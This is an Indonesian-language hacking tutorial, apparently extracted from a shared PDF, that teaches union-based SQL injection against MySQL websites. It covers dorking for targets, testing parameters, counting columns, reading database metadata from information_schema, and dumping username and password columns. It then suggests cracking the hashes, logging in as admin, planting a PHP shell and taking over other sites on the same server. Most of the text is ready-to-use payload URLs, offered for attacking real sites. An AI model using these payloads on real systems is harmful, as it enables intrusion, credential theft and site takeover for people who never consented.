Anda di halaman 1dari 6

Hacking Website With SQL Injection

Penulis : kahfiehudson
Pengertian SQL INJECTION :
SQL injection adalah sebuah aksi hacking yang dilakukan di aplikasi client
dengan cara memodifikasi perintah SQL yang ada di memori aplikasi client dan
juga merupakan teknik mengeksploitasi web aplikasi yang didalamnya
menggunakan database untuk penyimpanan data.
Yang perlu di ketahui sebelum sql injection pada mysql :
karakter: ' atau
comments: /* atau
information_schema untuk versi: mysql versi 5.x
( tidak support untuk mysql versi 4.x )

1. Cari Target + Bugnya


Cara mencarinya adalah
inurl:index.php?id= search
mendapatkan alamat situs

dengan
dengan

dork sql injection. Misalnya


om GOOGLE, misalkan kita

http://www.target.com/index.php?id=4

Lalu untuk mengetahui suatu web memiliki bug SQL injection, tambahkan
sebuah tanda petik pada akhir url, sehingga urlnya menjadi

http://www.target.com/index.php?id=4
lalu tekan enter dan apa yang terjadi pada situs tersebut? Situsnya
menampilkan pesan error, berarti parameter id tidak di filter dengan baik
atau bahkan tidak difilter sama sekali. Untuk mengetahui suatu web aplikasi
memiliki bug SQL Injection salah satunya adalah menggunakan perintah
and+1=1--

1
http://www.cyberforum-online.com

Ketika di tambahkan parameter +and+1=1-- pada akhir URL, situsnya tampil


dengan normal karena 1=1 menghasilkan nilai true.

http://www.target.com/index.php?id=4+and+1=1-Dan ketika di tambahkan parameter +and+1=2-- isi berita tidak dapat


ditampilkan karena 1=2 hasilnya false dan ini membuktikan bahwa web
aplikasi tersebut 99.9% memiliki bug SQL Injection
http://www.target.com/index.php?id=4+and+1=2--

2. Cari Column Yang Memiliki Celah Injection


Setelah saya tau bahwa web tersebut memiliki Bug SQL Injection saya harus
mencari tau nama table dan column, tapi sebelum itu saya harus mencari
tau pada column ke berapa saya bisa melakukan Injection, untuk itu saya
menggunakan perintah +order+by+ perhatikan url berikut.
http://www.target.com/index.php?id=4+order+by+1-http://www.target.com/index.php?id=4+order+by+2-http://www.target.com/index.php?id=4+order+by+3-http://www.target.com/index.php?id=4+order+by+4-http://www.target.com/index.php?id=4+order+by+5--

url diatas jika di coba satu persatu akan menampilkan situsnya secara
normal. Tapi ketika saya menginputnya dengan order+by+6-- apa yang
terjadi??? Browser menampilkan pesan error. Dari pesan error tersebut bisa
dipastikan terdapat 5 buah column yang terdapat disalah satu table yang
belum kita ketahui namanya. Berarti yang kita ambil sampai +order+by+5-saja.

3. Gunakan Perintah Union Select


Setelah saya mengetahui terdapat 5 buah column pada target, selanjutnya
yaitu mencari column yang bisa dilakukan injeksi. Untuk itu saya
menggunakan perintah +union+select+ (pakai union all select juga bisa koq)
sehingga urlnya menjadi :
2
http://www.cyberforum-online.com

http://www.target.com/index.php?id=4+union+select+1,2,3,4,5--

Dan apa yang tampak di browser tidak ada yang aneh bukan? situsnya
tampil dengan normal. Tetapi jika parameter id saya ganti menjadi -4 yang
pastinya tidak ada isi data -4 di Database.

http://www.target.com/index.php?id=-4+union+select+1,2,3,4,5-Oke disini browser menampilkan angka 2 & 3, dan angka inilah yang sering
disebut dengan angka ajaib, karena angka tersebut adalah letak column
dimana attacker bisa melakukan injeksi lebih lanjut.
4. Cari informasi Database Target
Dengan tampilnya angka ajaib tersebut anda bisa 'mengintip' beberapa
informasi seperti nama database, nama user database, versi database, sessi
user dll. Untuk melihat nama database, injeksi urlnya menjadi
http://www.target.com/index.php?id=-4+union+select+1,database(),3,4,5--

Dan disini browser menampilkan nama database yaitu xyb_injector. Saya


mencoba mengintip lagi nama user database pada situs tersebut dengan
menginjeksinya pada column ke-2 dan versi pada column ke-3 dan url
injeksinya menjadi :
http://www.target.com/index.php?id=-4+union+select+1,user(),version(),4,5-Ternyata user dabasenya root@localhost dan beruntung sekali karena versi
mysql yang di gunakan adalah versi 5.0.51a-community, lho emang kenapa
kalo versi 5??? Karena bisa dilanjutin bacanya :D, kalo misalkan versi 4
tinggalin aja deh, cari target baru, hahahaha .
Coba anda perhatikan, anda hanya bisa meng-injeksi satu perintah pada
satu column. Bisakah meng-injeksi lebih dari satu perintah pada satu
3
http://www.cyberforum-online.com

colums??? Heheheh tentu saja bisa dong, untuk itu anda bisa menggunakan
perintah yang sudah disediakan langsung oleh mysql yaitu perintah
concat(perintah1,perintah2). Contoh dibawah ini saya meng-intip nama user
dan nama database pada column ke-2 dan pada column ke-3 saya
mengintip versi databasenya.

http://www.target.com/index.php?id=4+union+select+1,concat(u
ser(),0x3a,database()),version(),4,5--

5. Dapatkan Nama Table


Saya sudah mendapatkan informasi database web tersebut, sebenarnya
yang saya butuhkan hanyalah versi databasenya saja, seperti yang sudah
anda lihat, versi database yang ditampilkan adalah 5.0.51a-community dan
tentu ini memudahkan saya dalam mendapatkan table dengan
menggunakan perintah table_name pada column yang memiliki bug yaitu
angka 2 atau 3 pada web tersebut. Di akhir statement tambahkan
from+information_schema.tables+where+table_schema=database()+limit+0,1
-Sehingga urlnya menjadi :
http://www.target.com/index.php?id=4+union+select+1,2,table_name,4,5+from
+information_schema.tables+where+table_schema=database()+limit+0,1-Di web tersebut tampil sebuah table bernama "table_attacker". Untuk
melihat seluruh table sekaligus gunakan perintah group_concat(table_name)
pada column yang memiliki bug, sehingga urlnya menjadi
http://www.target.com/index.php?id=4+union+select+1,2,group_concat(table_n
ame),4,5+from+information_schema.tables+where+table_schema=database()--

Hihihi sip, seluruh table berhasil saya dapatkan, diantara table tersebut, table
manakah yang harus saya telusuri lebih jauh lagi??? table_user sepertinya
menarik :P yuk kita lihat apa isinya.
6. Dapatkan Nama Column
4
http://www.cyberforum-online.com

table_user sudah saya dapatkan selanjutnya yaitu mencari nama column


pada table
tersebut,
untuk
itu
saya menggunakan
perintah
group_concat(column_name) sehingga urlnya menjadi
http://www.target.com/index.php?id=4+union+select+1,2,group_concat(column_
name),4,5+from+information_schema.columns+where+table_name=0xhexa-pada tahap ini kamu wajib mengextrak kata yang keluar pada isi table tadi
menjadi hexadecimal yaitu dengan cara mengkonversinya. Salah satu
website yg digunakan untuk konversi :
http://www.string-functions.com/string-hex.aspx
Contoh kata yg ingin di konversi yaitu table_user maka akan menjadi
7461626c655f75736572 ini masih belum selesai, anda harus menambahkan
angka 0 dan huruf x pada awal hasil hexa tersebut sehingga hasilnya
menjadi 0x7461626c655f75736572 dan inilah yang akan kita injeksikan pada
nama tabel. Sehingga urlnya menjadi
http://www.target.com/index.php?id=4+union+select+1,2,group_concat(column_n
ame),4,5+from+information_schema.columns+where+table_name=0x7461626c655
f75736572-Alhasil nama column dari table_user sudah saya dapatkan yaitu user_id dan
password_id.
7. Dapatkan Usename & Password
Saya sudah mendapatkan nama table table_user yang berisi 2 buah
column yaitu user_id dan password_id dan akhirnya anda sudah sampai
di detik-detik terakhir yaitu menampilkan isi data dari column tersebut.
Tambahkan 0x3a pada group_concat(hasil isi column yg mau
dikeluarkan,0x3a, hasil isi column yg mau dikeluarkan) perintah
+from+(nama table berasal) dimasukkan setelah angka terakhir sehingga
urlnya menjadi :
http://www.target.com/index.php?id=4+union+select+1,2,group_concat(user_id,0
x3a,password_id),4,5+from+table_user-Tampillah seluruh username dan password dari situs tersebut. Biasanya
password yang kita dapat sudah terenkripsi dalam bentuk md5 atau enkripsi
yang lainnya. Untuk menterjemahkannya anda bisa mencari website yang
5
http://www.cyberforum-online.com

menyediakan cracking password atau dengan tool cracking password.


Setelah itu anda tinggal mencari halaman log in admin dan masuki
sistemnya. Setelah memasuki sistem biasanya hacker menanamkan php shell
untuk lebih gampang keluar masuk dan bisa mengexplore isi dari website
tersebut terlebih lagi si hacker bisa melakukan teknik jumping sehingga
semua website yang berada dalam 1 server yang sama dengan website
yang terkena hack tersebut bisa di ambil alih oleh hacker tersebut,
berbahaya sekali bukan?

Referensi : Explore Your Brain, Indonesian Coder


My Team :
Bekasi Cyber Community, CyberForum-Online, Indonesian Hacker Team, Medan Hackers
Thanks To :
Bekasi Cyber Community, CyberForum-Online, Indonesian Hacker Team, Medan Hackers,
Palembang Hacker Link, Muslim Hackers, Soldier Of Allah, Codenesia, Xcode, Hacker Newbie,
Forum Balikita, Devilzc0de, Jasakom, Yogya Carder Link, All Indonesian Hackers Forum, All
Indonesian Defacer, and YOU.

6
http://www.cyberforum-online.com

Anda mungkin juga menyukai